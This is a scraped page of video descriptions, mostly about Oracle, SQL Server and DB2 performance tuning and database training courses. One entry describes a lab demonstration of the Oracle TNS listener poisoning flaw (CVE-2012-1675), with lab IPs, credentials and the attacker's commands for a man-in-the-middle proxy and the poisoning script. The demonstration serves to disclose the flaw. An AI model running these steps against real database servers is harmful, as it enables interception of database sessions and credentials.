Explain plan is a wonderful utility in Oracle PL SQL. It helps you to understand how much cost a query takes to perform based on indexed table or table without index. In this oracle tutorial a full description is given on a table containing huge number of rows first based on index on a column and then without index.
Просмотров: 3605 Subhroneel Ganguly
Compression is mainly about saving storage space, right? But wait: wasn’t there something way more important? What is the major trade-off you have to keep in mind here? Compressing data costs something in addition! You can only lose w.r.t. overall query response times, right? What are compression granularities? How do they affect accesibility and compression ratio of your data (in general)? Video for my inverted classroom "Database Systems". The complete list of videos and additional material is (will be) available at http://datenbankenlernen.de Computer Science, Saarland University: Bachelor (in German): http://www.cs.uni-saarland.de/index.php?id=52&L=1 Master (in English): http://www.cs.uni-saarland.de/index.php?id=132&L=1 Ph.D./Grad School: http://gradschool.cs.uni-saarland.de/
Просмотров: 1450 Prof. Dr. Jens Dittrich
This issue is very common and commonly faced by DBA, developers and server management team on production server i.e. SQL server leads into 100% CPU usage and also start consuming all available memory. Now most of the time you have seen technical people restarting sql services, or killing long running processes and even restarting complete server, and they can avoid this situation. Before starting any thing I would like to discuss a common myth people have that this is happening because of long running queries only. Which is not all ways true, some times: Longer running query can be problem Query having maximum worker time are also problem Query execution count can also cause problem For script check below link: http://www.techsapphire.in/index/sql_server_100_cpu_usage_fix/0-166
Просмотров: 80660 techsapphire
Learn in depth about stored procedure in oracle,usage of SP in Database. Creating Stored Procedure using in, out ,in/out parameter and handling exception inside with example. Stored Procedure in Oracle, Stored Procedure in PL/SQL, Oracle Stored Procedure, PL/SQL Stored Procedure, What is Stored Procedure in pl/sql, How to use Stored Procedure in pl/sql, How to write a Stored Procedure in oracle, How to create Stored Procedure in pl/sql, Parameterized stored procedure in pl/sql, Benefit of using stored procedure in oracle, Advantages of Using Stored Procedures: Maintainability (because scripts are in one location, updates and tracking of dependencies based on schema changes becomes easier) Can be tested independent of the application Isolation of Business Rules,(Having Stored Procedures in one location means that there’s no confusion of having business rules spread over potentially disparate code files in the application) Speed / Optimization ( Stored procedures are cached on the server Execution plans for the process are easily reviewable without having to run the application) Utilization of Set-based Processing (The power of SQL is its ability to quickly and efficiently perform set-based processing on large amounts of data; the coding equivalent is usually iterative looping, which is generally much slower) Security ( Limit direct access to tables via defined roles in the database, provide an “interface” to the underlying data structure so that all implementation and even the data itself is shielded. Securing just the data and the code that accesses it is easier than applying that security within the application code itself ). Drawbacks to Using Stored Procedures: Limited Coding Functionality Stored procedure code is not as robust as app code, particularly in the area of looping (not to mention that iterative constructs, like cursors, are slow and processor intensive) Portability issue for complex and large Stored Procedure. Testing :Any data errors in handling Stored Procedures are not generated until runtime Cost :Stored Procedure development could potentially require a dedicated database developer. Some businesses will not allow developers access to the database at all, requiring instead a separate DBA. Alternatives to Stored Procedures: In-line or Parameterized Queries (These are written within the application code itself) Object Relational Mapping (ORM) (Provides an abstraction to the database without having to manually write data ) Linkedin: https://www.linkedin.com/in/aditya-kumar-roy-b3673368/ Facebook: https://www.facebook.com/SpecializeAutomation/
Просмотров: 3180 Specialize Automation
Click : http://bit.ly/2ANmxe6 to get Oracle SQL Tutorial Bangla. Search Terms:- oracle 11g tutorial free download oracle sql tutorial oracle 10g tutorial oracle form builder tutorial oracle forms 10g tutorial oracle 10g tutorial for beginners oracle database 10g tutorial sql oracle oracle for beginners oracle 10g tutorial oracle tutorials for beginners oracle dba tutorial for beginners pdf oracle forms developer tutorial toad for oracle tutorial oracle fusion middleware tutorial oracle forms 6i tutorial oracle sql tutorial oracle 11g tutorial oracle tutorial pdf free download oracle dba tutorial for beginners oracle application express tutorial oracle tutorial for beginners oracle database tutorial oracle apex tutorial oracle sql tutorial sql tutorial oracle 11g tutorial oracle 10g tutorial oracle dba tutorial oracle tutorial for beginners Oracle Apex Tutorial Bangla Oracle Apex Tutorial Videos In Bangla Oracle Apex Training Tags: oracle video tutorial free download,oracle applications tutorial,Oracle 11g tutorial free download,oracle sql tutorial,oracle 10g tutorial,oracle form builder tutorial,oracle forms 10g tutorial,oracle 10g tutorial for beginners,oracle database 10g tutorial,sql oracle,oracle for beginners,oracle tutorials for beginners,Oracle Apex,Oracle Apex Training,Oracle Apex Tutorial,
Просмотров: 64 TrainerBD .com
Taken from OraPub's online seminar, Tuning Oracle Using An AWR Report. Spoken like a true Oracle Database application user... It's Just Slow. If what the user is attempting to explain is true, the performance issue is affecting a wide range of business processes. The problem is probably not a single issue (but could be) and clearly the key SQL is not know. This is a perfect problem scenario to apply an Oracle Time Based Analysis. For information on how you can watch the whole seminar or for more great education from OraPub, go to www.orapub.com
Просмотров: 363 OraPub, Inc.
Very simple DEMO on how to run AWR reports in SQLDeveloper.
Просмотров: 31 Mapleleaf Enterprises
http://www.dbvidya.com/course/sql-tuning-advanced/ firstname.lastname@example.org +91 991 2323 000 Oracle Performance Tuning Online Training : http://www.dbvidya.com/course/performance-tuning-for-dba/ Oracle SQL Performance Tuning Training Online : http://www.dbvidya.com/course/sql-tuning-advanced/ Oracle Performance Tuning Videos Tutorial for DBA and Developers : http://www.dbvidya.com/oracle-performance-tuning-videos/ Oracle AWR Tutorial: http://www.dbvidya.com/course/oracle-awr/ Erwin Tool Online Training : http://www.dbvidya.com/course/erwin-tool/ ER Data Modeling Course : http://www.dbvidya.com/course/er-modeling/ Dimensional Modeling Training Online : http://www.dbvidya.com/course/dimensional-modeling/ Oracle Database Blogs : http://www.dbvidya.com/blog/
Просмотров: 191 DbVidya
In this video you will learn how to find how much memory is allocated to SQL Server instances using various methods. Methods include by viewing SQL Server memory configuration via SSMS, using SQL Server dynamics system view and how to configure SQL Server Minimum (min) and Maximum (Max) memory using SQL Server Memory Configuration. Blog post link for the video with script http://sqlage.blogspot.com/2015/04/how-to-find-out-how-much-memory-is.html Visit our website to check out SQL Server DBA Tutorial Step by Step http://www.techbrothersit.com/2014/12/sql-server-dba-tutorial.html
Просмотров: 7687 TechBrothersIT
Timestamps: 2:30 - Database load 10:30 - Top 10 Foreground Events 16:30 - db file sequential read 23:39 - DB CPU 32:30 - log file sync 37:16 - enq: TX - row lock contention 39:47 - Findings summary & recommendations 42:38 - Quantifying the gain 47:15 - Q&A Franck walks his way through an AWR report, explaining his observations and thought process as he goes. The slides are available at: Google: https://drive.google.com/folderview?id=0B0DLaAfeW6uKZmJ3TXE0WGtLYlE Dropbox: https://www.dropbox.com/sh/9koxoemak8ts7j6/AADozVVYLoK_FdDZbQGC6TYta This event was sponsored by Red Stack Technology (http://redstacktechnology.com/). See more events at http://OracleMidlands.com/ Copyright Disclaimer Under Section 107 of the Copyright Act 1976, allowance is made for fair use for purposes such as criticism, comment, news reporting, teaching, scholarship, and research. Fair use is a use permitted by copyright statute that might otherwise be infringing. Non-profit, educational or personal use tips the balance in favor of fair use. "Fair Dealing" under UK Copyright, Designs and Patents Act 1988.
Просмотров: 10224 Oracle Midlands
Solving Performance Problems on Oracle DB Matthew Vegh - Embarcadero Thursday, June 26, 2014 - 11am DBAs and database developers regularly spend a lot of time tracking down and resolving performance issues on the database servers they are responsible for; it can be very difficult, frustrating, and expensive. Given the complex interactions of applications, users and databases, new performance issues can arise almost as fast as old ones can be addressed. This session will simulate common performance problems on an Oracle server and then both identify those problems and provide effective solutions. Matthew Vegh is a Software Architect at Embarcadero Technologies for the Embarcadero DB Power Studio family of products and has been with the company for the better part of a decade. He has over 15 years of development experience with a wide range of technologies and a definite preference for database tooling.
Просмотров: 8335 Embarcadero Technologies
dstat  does its description, you have a lot of infomration to choose from, the internal: "aio, cpu, cpu-adv, cpu24, disk, disk24, disk24-old, epoch, fs, int, int24, io, ipc, load, lock, mem, mem-adv, net, page, page24, proc, raw, socket, swap, swap-old, sys, tcp, time, udp, unix, vm, vm-adv, zones" There are three times more plugins, like battery, cpufreq, dbus, etc. Plenty of counters and modules to pick. It also has `--top-*` like `--top-cpu` to get the top process consumes most CPU. You can read them all in `--list` or datat(1) `-t` for time stamp, `-T` for epoch, these would be very helpful to read and know when. `--float`, `--integer`, and `--bits` to force output number formats. It displays in colorized output, even have `--bw` for black-on-white terminals, also a `--nocolor` option. There is also a `--profile` option, and CSV `--output` option for export. ---- * git- f09a0098d6002e55e8c58ae4c9f7144a703da23 (2014-02-12, post v0.7.2 (2010-03-09)) * In Python 2 * By Dag Wieers * GPLv2 : http://dag.wiee.rs/home-made/dstat/ : https://github.com/dagwieers/dstat
Просмотров: 958 Yu-Jie Lin
Presented by Karen Morton Tues 8th May 2012 Summary SQL is utilized to return data via our applications to service user requests. Whether it's a single customer lookup or a huge month end summary report, the SQL we write must gather the correct data and return it to the user. Ensuring that the SQL you write can do this in a timely and efficient manner, both now and in the future, requires that you measure and evaluate what resources your query must use. In this webinar, we'll cover several methods for how to collect data that show you precisely how your SQL consumes resources: Using AUTOTRACE Using DBMS_XPLAN.DISPLAY_CURSOR Using Report SQL Monitor Using ASH (Active Session History) and AWR (Automatic Workload Repository) data You'll learn how to utilize the data to understand the work your SQL is doing and the resources it consumes; identify currently evident performance issues as well as areas that could be problematic in the future; and modify your SQL to use less resources more efficiently while still returning the desired results. A live Q+A session with Karen Morton follows the presentation. For our complete archive, and to sign up for upcoming webinars please go to http://www.red-gate.com/oracle-webinars
Просмотров: 7076 Redgate Videos
There is a better way to solve your most difficult Oracle performance problems. Some performance issues are literally impossible to solve using an AWR Report or Oracle's time model. ASH comes to the rescue! Even DBAs who are familiar with ASH have a difficult time using ASH to directly answer key management issues surrounding a performance incident. Craig will teach you how to weave your ASH analysis into a compelling "who done it" mystery complete with good guys, bad guys, motive and even the weapon! Join our Live Virtual Classes with Oracle Ace, Craig Shallahamer. Session Dates and Times: Note: Each session is two hours long. Each class includes five sessions. Start Time: 07:00am Los Angeles, 10:00am New York Session Dates: Tuesday, 9 Oct 2018 Thursday, 11 Oct 2018 Tuesday, 16 Oct 2018 Thursday, 18 Oct 2018 Wednesday, 24 Oct 2018 For more information on how to join the LVC, go to www.orapub.com/orapub-events We are always running our LVC's, so if the above dates don't work for you, check in to see what upcoming dates might!
Просмотров: 98 OraPub, Inc.
Check out the entire series on the Oracle Learning Library at http://www.oracle.com/goto/oll/rwp In this video, listen and watch Graham Wood, Architect and Andrew Holdsworth, Vice President of Oracle Database Real-World Performance at Oracle Corporation, as they explain and analyze the information gathered via an AWR Report from a large internet retailer and how that affects performance. Copyright © 2014 Oracle and/or its affiliates. Oracle® is a registered trademark of Oracle and/or its affiliates. All rights reserved. Oracle disclaims any warranties or representations as to the accuracy or completeness of this recording, demonstration, and/or written materials (the "Materials"). The Materials are provided "as is" without any warranty of any kind, either express or implied, including without limitation warranties of merchantability, fitness for a particular purpose, and non-infringement.
Просмотров: 28901 Oracle Learning Library
Tuning Oracle Using An AWR Report teaches Oracle DBAs how to make Oracle Database systems fast using standard Oracle reports and performance data. This seminar will lead you through the entire process turning you into a respected performance analyst. Your solutions will be spot-on and everyone will know it. When users call about a performance problem, you will know what to do, do it fast, and be able to explain the situation with clarity and confidence. For details to go http://www.orapub.com/video-seminar-tuning-oracle-using-an-awr-report PART ONE of this seminar builds your strong foundation. You will learn how an Oracle Time Based Analysis combined with OraPub's 3-Circle Analysis are used to methodically expose problems and develop solutions. You will understand the larger performance picture that escapes most DBAs. It is foundational and it sets you up for success! PART TWO of this seminar focuses on constructing a time based diagnostic framework, developing targeted tuning solutions fast, and turning this all into a compelling story. Your solutions will make sense and your analysis will be clear. Your peers and management will trust and respect your work. Do NOT watch this seminar if you are looking for training about all the AWR report sections or how to work through an AWR report from top to bottom desperately searching for problems and solutions. If this is you, then I recommend you purchase one of the many available AWR books and also my Oracle Performance Firefighting book. BUT, if you are looking to solve any performance problem that comes your way based on an AWR report, then this seminar is exactly what you want. Tuning Oracle Using An AWR Report - Part 1 1. The Big Picture: How The Pieces Fit Together 2. Why A Time Based Analysis Is Awesome 3. Oracle Processes Are CPU Suckers! 4. Oracle Processes Hate To Wait! - Part 1 5. Oracle Processes Hate To Wait! - Part 2 Tuning Oracle Using An AWR Report - Part 2 1. Building A Diagnostic/Troubleshooting Framework - Part 1 2. Building A Diagnostic/Troubleshooting Framework - Part 2 3. Finding Multiple Performance Solutions Fast! - Part 1 4. Finding Multiple Performance Solutions Fast! - Part 2 5. How To Create A Great Performance Story - Part 1 6. How To Create A Great Performance Story - Part 2 7. Resources: The Learning Never Stops! For more information go to www.orapub.com
Просмотров: 17149 OraPub, Inc.
Oracle ACE Director Carlos Sierra makes a case for why you should use eDB360, his free Oracle Database performance and SQL tuning tool.
Просмотров: 664 Oracle Developer Community ArchBeat
CAPTIONS AVAILABLE - Full transcript (with some screenshots) available for a small fee at http://stores.lulu.com/konagora/. A very brief description of how a database performs a join, based on material from a 2-day seminar.
Просмотров: 76004 roughsealtd
BCV5 quickly and efficiently copies, refreshes and replicates Db2 objects. BCV5 copies Db2 databases or tables within the same or different Db2 systems. When measured against conventional copying methods, BCV5 saves around 90% on elapsed copy time and resources consumed (SSU, SRU). For one customer a ten-hour unload/load process was reduced to slightly over one hour. A BCV5 copy task integrates both, the physical data movement and the DDL related requirements. It copies Db2 data, i.e. databases or tables with or without auxiliary objects – indexes, views, triggers, procs and runstats. BCV5 automatically handles the OBID translation and the RBA adaptation. Copy jobs are completed in minutes rather than hours. DBAs are no longer forced to wait for weekend time slots and are able to run copying jobs on regular weekday shifts. Test data on demand is a dream come true for QA, development and test staff. BCV5 offers relief where the need is greatest. It significantly cuts down runtime and cost. It reduces CPU consumption by 90%+ and shortens the preparation lead time required by the staff.
Просмотров: 191 UBS Hainer
See all 5 tutorials, free, at SkillBuilders.com/OracleTuningFullTableScans Number Eight in the "Performance tuning Guide, Top Ten Mistakes Found in Oracle Systems" Long Full Table Scans is described as follows: "Long full table scans for high-volume or interactive online operations could indicate poor transaction design, missing indexes, or poor SQL optimization. Long table scans, by nature, are I/O intensive and unscalable." Actually, there are many cases where the full table scan is your friend. But whether they are good or bad for the performance of the SQL that invokes them, there may be implications (for better or for worse) for performance of other statements. This is particularly true in 11.2.x, where direct reads are possible for serial scans, and indirect reads are possible for parallel scans. Do you trust the optimizer? The change in behaviour in recent releases may need some investigation, and revisiting older code. As always with a SkillBuilders Tutorial, we shall illustrate the issues and solutions with live demonstrations using release 11g (22.214.171.124). Audience: Operating System Administrators, Storage Administrators, Oracle Administrators and Management responsible for Storage and / or Oracle Databases.
Просмотров: 4515 SkillBuilders
This short video describes the IBM DB2 for i SQL Performance Workshop which covers the best practices for monitoring, tuning, and developing SQL applications on IBM i. Students who attend the course will learn how the SQL query optimizer works, how to use indexes and statistics to improve query performance, how to implement efficient SQL applications, and how to use the SQL performance analysis tools. Brought to you by IBM Training: http://www.ibm.com/training
Просмотров: 3870 IBM Systems Lab Services
Subscribe: http://www.youtube.com/subscription_center?add_user=wowzataz Blog : http://eromang.zataz.com Twitter : http://twitter.com/eromang Timeline : Vulnerability discovered by Joxean Koret in 2008 Vulberability reported to the vendor by Joxean Koret in 2008 Public release of the vulnerability in Oracle CPU by the vendor the 2012-04-17 Details and PoC of the vulnerability released by Joxean Koret the 2012-04-18 Fake patching of the vulnerability discovered by Joxean Koret the 2012-04-26 PoC provided by: Joxean Koret Reference(s) : Oracle CPU of April 2012 CVE-2012-1675 Affected versions : All versions of Oracle Database Tested with Oracle Database 10g Enterprise Edition Release 10.2.0.4.0 Description : Usage of Joxean Koret PoC require that the database name has a length of 6 characters. Database server characteristics : IP : 192.168.178.150 Oracle version : 10.2.0.4.0 Database listener port : 1521 Database listener has no clients IPs restrictions Database name : arcsig Database username : arcsig Database password : testtest Database client characteristics : IP : 192.168.178.151 SQL*Plus version : 10.2.0.4.0 tnsnames.ora file as bellow : TARGET.DB= (DESCRIPTION = (ADDRESS = (PROTOCOL = TCP)(HOST = 192.168.178.150)(PORT = 1521)) (CONNECT_DATA = (SERVICE_NAME= arcsig) ) ) Attacker characteristics : IP : 192.168.178.100 Usage of PoC provided by Joxean Koret Demonstration : PoC validation phase On database server : ifconfig On database client : ifconfig sqlplus -v cat tnsnames.ora sqlplus arcsig@TARGET.DB HELP QUIT PoC exploitation phase On attacker : Start the MITM proxy, how will intercept the communication between the client and the database : sudo python proxy.py -l 192.168.178.100 -p 1521 -r 192.168.178.150 -P 1521 Start the vulnerability exploitation : python tnspoisonv1.py 192.168.178.100 1521 arcsig 192.168.178.150 1521 On the database client : Connect with SQL*Plus sqlplus arcsig@TARGET.DB ? ? INDEX TOTO QUIT You can see that the communication are intercepted by the proxy.
Просмотров: 11494 Eric Romang
IBM DB2 Database for Administrators Chapter 7 IBM DB2 Working with the Command line tool The IBM DB2 Database for Administrators training series will address future DBA who want to understand the aspects of DB2 ecosystem. Will train their administration skill and develop skill that will be used in the work enviroment. IBM DB2 is the database of choice for enterprise-wide solutions. Optimized to deliver industry-leading performance while lowering costs, IBM DB2 offers extreme performance, flexibility, scalability and reliability for any size organization. db2 database | ibm db2 express | db2 tutorial | db2 sql | db2 connect | what is db2 | db2 express | db2 sqlcode | sqlcode db2 | db2 express | Db2 Commands | db2 connect | db2 connect to database | db2 connection string | what is db2 | More Articles, Scripts and How-To Papers on http://www.aodba.com
Просмотров: 5490 AO DBA
Learn what makes Teradata Database unique and powerful though a series of videos - Teradata Database 101 series. In this 4th module, you will learn about the Query Optimizer in Teradata Database - a key component in making complex queries work well, using the minimum amount of resources, and giving the best possible response time to any queries.
Просмотров: 331 Teradata
Learn how Automatic Tuning can automate performance tuning with SQL Server on Linux in this demo video from Bob Ward of SQL Server engineering. Now with SQL Server 2017, customers are able to bring the industry-leading performance and security of SQL Server to Linux and Docker containers. SQL Server 2017 delivers mission-critical OLTP database capabilities and enterprise data warehousing with in-memory technology across workloads, with advanced, self-tuning features such as Automatic Tuning, and performance at scale. Try SQL Server 2017 on Windows or Linux: https://www.microsoft.com/en-us/sql-server/sql-server-downloads-free-trial
Просмотров: 605 Microsoft SQL Server
How To Use The SQL*Net Message From Client Event To Your Advantage - webinar introduction. Idle wait events are usually ignored in our performance analysis. It's because they diminish what we should be focus on... most of the time. We need master the "not most of the time" as well. So, in this webinar I'm going to focus on the idle wait event, SQL*Net message from client. I'll show you what this wait event is, why it's important and not important, and how to use it to our advantage in both a time-based analysis and an ASH based analysis. And of course, you'll be able to download and immediately use any tools that I use. For more information on how you can watch the full length webinar, or for more information on Oracle Ace Craig Shallahamer, go to www.orapub.com
Просмотров: 30 OraPub, Inc.
Download our E-book to learn more about enterprise cloud strategy: http://aka.ms/enterprisecloudebook. Watch as Luis Vargas provides a quick overview of the available SQL Server offerings in Azure Virtual Machines. Dive deep into SQL Server 2016 SP1 Express and Developer as well as SQL Server vNext on Red Hat Enterprise Linux!
Просмотров: 5332 Microsoft Azure
Not every workload can benefit from In-Memory tables. Memory Optimized Tables are not a magic bullet that will improve performance for all kinds of transactional workloads. Therefore, it is very critical that you benchmark & test in-memory performance for your SQL deployments before you decide to migrate disk-based tables to memory-optimized tables. In this video, you will learn: a. Baselining current performance b. How to identify the right candidates for In-Memory c. Generate sample production data d. Create simulated production workload e. Test & benchmark In-Memory performance with simulations f. Compare In-Memory performance with the baseline You will also learn about a verity of tools and techniques that can be used in your proof-of-concept. Video resources including presentation, demo files, code snippets and more learning material is available on http://www.dataplatformgeeks.com/ (Join for free and access all the resources) Suggest us topics that you wish to learn through our videos: http://www.dataplatformgeeks.com/dpg-suggest-topics/ Connect With The Speaker (Amit Bansal) -Follow on Twitter: https://twitter.com/A_Bansal -Follow on FaceBook at http://www.facebook.com/amit.r.bansal -Follow on LinkedIN: http://www.linkedin.com/in/amitbansal2010 -Facebook Page: https://www.facebook.com/AmitRSBansal/ Connect with SQLMaestros: http://sqlmaestros.com/ -http://www.twitter.com/SQLMaestros -https://www.facebook.com/SQLMaestros -Email us: classes@SQLMaestros.com Have technical questions? Join the largest SQL/Data group on FaceBook – https://www.facebook.com/groups/thesqlgeeks/ DataPlatformGeeks (DPG) Community Join the fastest growing community of data & analytics professionals Why Join DPG? http://www.dataplatformgeeks.com/ -Attend all events hosted by DPG, including SQLMaestros Special Events -Get access to free videos, labs, magazines and host of learning resources -Download all events & conference material -Learn new skills. Sharpen existing skills -Be part of Asia’s Largest Data/Analytics Community -Opportunity to be a regional mentor & speaker at our events -Immense technical & professional development -http://www.dataplatformgeeks.com/
Просмотров: 335 SQLMaestros
Check out the entire series on the Oracle Learning Library at http://www.oracle.com/goto/oll/rwp In this video, listen and watch Andrew Holdsworth, Vice President of Oracle Database Real-World Performance at Oracle Corporation, as he demonstrates how connections and application logons contribute to transaction throughput and simulates the mistakes of a poor configuration creating sub-optimal performance. Copyright © 2014 Oracle and/or its affiliates. Oracle® is a registered trademark of Oracle and/or its affiliates. All rights reserved. Oracle disclaims any warranties or representations as to the accuracy or completeness of this recording, demonstration, and/or written materials (the "Materials"). The Materials are provided "as is" without any warranty of any kind, either express or implied, including without limitation warranties of merchantability, fitness for a particular purpose, and non-infringement.
Просмотров: 8482 Oracle Learning Library
For Complete Database Training Details Visit: http://www.qaonlinetraining.com http://infotek-solutions.com/ Delivery Method: Instructor led classroom and Online Training supported by world class Learning management system which automate all flow of lectures, videos, assignments, forums, quizzes and interview process. Class Schedule: Week-ends and Weekdays Contact Us: 571-437-0652, Mail Us: email@example.com Training Locations at : Ashburn / Fairfax / Maryland Office Address: 12801 Worldgate Dr #500, Herndon, VA 20170 Overview of Oracle DBA Training Oracle as a flexible, complex & robust RDBMS The evolution of hardware and the relation to Oracle Different DBA job roles (VP of DBA, developer DBA, production DBA, database babysitter) The changing job role of the Oracle DBA Environment management (network, CPU, disk and RAM) Instance management (managing SGA regions) Oracle table and index management Instance Architecture Instance vs. database Components of an instance Creating the OFA file structure ($DBA, bdump, udump, pfile) Oracle Instance Internals SGA vs. PGA Background processes Interfaces with server and disk I/O subsystem Using SQL*Plus for DBA management Connecting and executing SQL Using the “as sysdba” syntax Overview of SQL*Plus DBA commands (startup, etc.) Control file, UNDO and REDO management Explaining the use of control files Listing the Contents of the control File File locations for control Files Obtaining Control File Information Listing control file contents Displaying and Creating Undo segments Altering Undo Segments Determining the Number and Size of Undo segments Understanding flashback technology Troubleshooting Undo – snapshot too old Redo log concepts for recovery Online redo log (log_buffer) online redo logs and archived redo logs Oracle ARCH and LGWR background processes Redo log dictionary queries Redo log switch frequency and performance Multiplexing the Online Redo Log Files Archiving the Oracle Redo Logs Recovery using the redo log files User and privilege management The three security methods (VPD, Grant security/role-based security, grant execute) Creating New Database Users Using pre-spawned Oracle connections Auditing User activity Identifying System and Object Privileges Granting and Revoking Privileges Creating and Modifying Roles Displaying user security Information from the Data Dictionary Overview of instance management Parameter files (init.ora, listener.ora, tnsnames.ora) Rules for sizing SGA components Automated Oracle memory management (AMM) Initialization file management Creating the init.ora file Using spfile Displaying init.ora values with v$parameter Oracle*Net configuration Creating the listener.ora file Creating the tnsnames.ora file Data buffer configuration & sizing Inside the Oracle data buffers Using the KEEP pool Monitoring buffer effectiveness Using multiple blocksizes (multiple buffer pools) Shared pool and PGA configuration & Sizing Shared pool concepts and components Understanding the library cache Relieving shared pool contention Overview of PGA for sorting and hash joins Using sort_area_size, hash_area_size and pga_aggregate_target Troubleshooting network connectivity Verifying network connectivity with ping and tnsping Testing database links Oracle tables, views and materialized views Types of Oracle tables (regular, IOT, sorted hash clusters, nested tables) Oracle Views Oracle materialized views Oracle indexes Types of Oracle indexes (b-tree, bitmap, bitmap join index) Creating B*-Tree, bitmap and function-based Indexes Function-based indexes Finding indexing opportunities Index maintenance Oracle constraints Costs & benefits of constraints Types of Oracle indexes constraints (check, not null, unique, PK, FK) Cascading constraints Schema, File & tablespace management Describing the relationship between data files, tablespaces and table Understanding Oracle segments Creating Tablespaces – using the autoextend option Changing the Size of Tablespaces – alter database datafile command Defining a TEMP tablespace Changing the default storage Settings for a tablespace Review of the storage parameters in DBA views (ASM, ASSM, pctfree, pctused and freelists). Monitoring Chained rows (fetch continued rows) Monitoring Insert and Update performance (pctused, APPEND) Database Maintenance Reason for reorgs – chained rows, imbalanced freelists Reorganizing Tables using Export and Import Using CTAS to reorganize data Index rebuilding Backup & Recovery overview (hot & cold Backups, RMAN, block change tracking) Oracle DBA Utilities Data pump (Imp and exp utilities) SQL*Loader LogMiner Flashback DataGuard Oracle DBA utilities – Oracle dbms packages (dbms_redefinition)
Просмотров: 135 Software Testing Training
ORACLE in Telugu -~-~~-~~~-~~-~- Please watch: "Best Useful software For Windows Telugu" https://www.youtube.com/watch?v=puGZTRTSoVA hafiztime hafiz telugu videos #telugutechtuts #hafiztime
Просмотров: 72620 Telugu TechTuts
Find out how to monitor specific SQL Server performance counters and services, and forecast performance-related events. Learn how to align your SQL Server settings with the latest best practices from Microsoft in order to maintain fully optimal SQL environment.
Просмотров: 2183 SysKit
Check out the entire series on the Oracle Learning Library at http://www.oracle.com/goto/oll/rwp In this video, listen and watch Andrew Holdsworth, Vice President of Oracle Database Real-World Performance at Oracle Corporation, as he demonstrates how to transform data to affect performance. Copyright © 2014 Oracle and/or its affiliates. Oracle® is a registered trademark of Oracle and/or its affiliates. All rights reserved. Oracle disclaims any warranties or representations as to the accuracy or completeness of this recording, demonstration, and/or written materials (the "Materials"). The Materials are provided "as is" without any warranty of any kind, either express or implied, including without limitation warranties of merchantability, fitness for a particular purpose, and non-infringement.
Просмотров: 2453 Oracle Learning Library
Check out the entire series on the Oracle Learning Library at http://www.oracle.com/goto/oll/rwp In this video, listen and watch Andrew Holdsworth, Vice President of Oracle Database Real-World Performance at Oracle Corporation, as he demonstrates how aggregation of data affects performance. Copyright © 2014 Oracle and/or its affiliates. Oracle® is a registered trademark of Oracle and/or its affiliates. All rights reserved. Oracle disclaims any warranties or representations as to the accuracy or completeness of this recording, demonstration, and/or written materials (the "Materials"). The Materials are provided "as is" without any warranty of any kind, either express or implied, including without limitation warranties of merchantability, fitness for a particular purpose, and non-infringement.
Просмотров: 2365 Oracle Learning Library
This webcast series is a must view for anyone migrating from DB2 for z/OS version 8 or version 9 to DB2 for z/OS Version 10. John has worked with many customers and consolidates his extensive findings together in the presentation. He shares early experiences from the beta program and explores recommendations specific to having a successful migration. The two parts examine strategies to prevent regressions and to gain the benefits provided by DB2 10. In addition, the webcasts discuss performance, scalability, availability, migration planning, and maintenance.
Просмотров: 348 World of Db2
Oracle Database (commonly referred to as Oracle RDBMS or simply as Oracle) is an object-relational database management system produced and marketed by Oracle Corporation. Larry Ellison and two friends and former co-workers, Bob Miner and Ed Oates, started a consultancy called Software Development Laboratories (SDL) in 1977. SDL developed the original version of the Oracle software. The name Oracle comes from the code-name of a CIA-funded project Ellison had worked on while previously employed by Ampex. This video is targeted to blind users. Attribution: Article text available under CC-BY-SA Creative Commons image source in video
Просмотров: 263 Audiopedia
Introduction into IBM DB2 Database The IBM DB2 Database for Administrators training series will address future DBA who want to understand the aspects of DB2 ecosystem. Will train their administration skill and develop skill that will be used in the work enviroment. IBM DB2 is the database of choice for enterprise-wide solutions. Optimized to deliver industry-leading performance while lowering costs, IBM DB2 offers extreme performance, flexibility, scalability and reliability for any size organization. db2 database | ibm db2 express | db2 tutorial | db2 sql | db2 connect | what is db2 | db2 express | db2 sqlcode | sqlcode db2 | db2 express | Db2 Commands | db2 connect | db2 connect to database | db2 connection string | what is db2 | More Articles, Scripts and How-To Papers on http://www.aodba.com
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Essbase is a multidimensional database management system (MDBMS) that provides a multidimensional database platform upon which to build analytic applications. Essbase, whose name derives from "Extended Spread Sheet dataBASE", began as a product of Arbor Software, which merged with Hyperion Software in 1998. Oracle Corporation acquired Hyperion Solutions Corporation in 2007, as of 2009 it markets Essbase as "Oracle Essbase". Until late 2005 IBM also marketed the product — as DB2 OLAP Server. The database researcher E. F. Codd coined the term "on-line analytical processing" (OLAP) in a whitepaper that set out twelve rules for analytic systems (an allusion to his earlier famous set of twelve rules defining the relational model). This whitepaper, published by Computerworld, was somewhat explicit in its reference to Essbase features, and when it was later discovered that Codd had been sponsored by Arbor Software, Computerworld withdrew the paper. This video is targeted to blind users. Attribution: Article text available under CC-BY-SA Creative Commons image source in video
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IBM DB2 Database for Administrators Chapter 6 How to create a database in IBM DB2 The IBM DB2 Database for Administrators training series will address future DBA who want to understand the aspects of DB2 ecosystem. Will train their administration skill and develop skill that will be used in the work enviroment. IBM DB2 is the database of choice for enterprise-wide solutions. Optimized to deliver industry-leading performance while lowering costs, IBM DB2 offers extreme performance, flexibility, scalability and reliability for any size organization. db2 database | ibm db2 express | db2 tutorial | db2 sql | db2 connect | what is db2 | db2 express | db2 sqlcode | sqlcode db2 | db2 express | Db2 Commands | db2 connect | db2 connect to database | db2 connection string | what is db2 | More Articles, Scripts and How-To Papers on http://www.aodba.com
Просмотров: 6828 AO DBA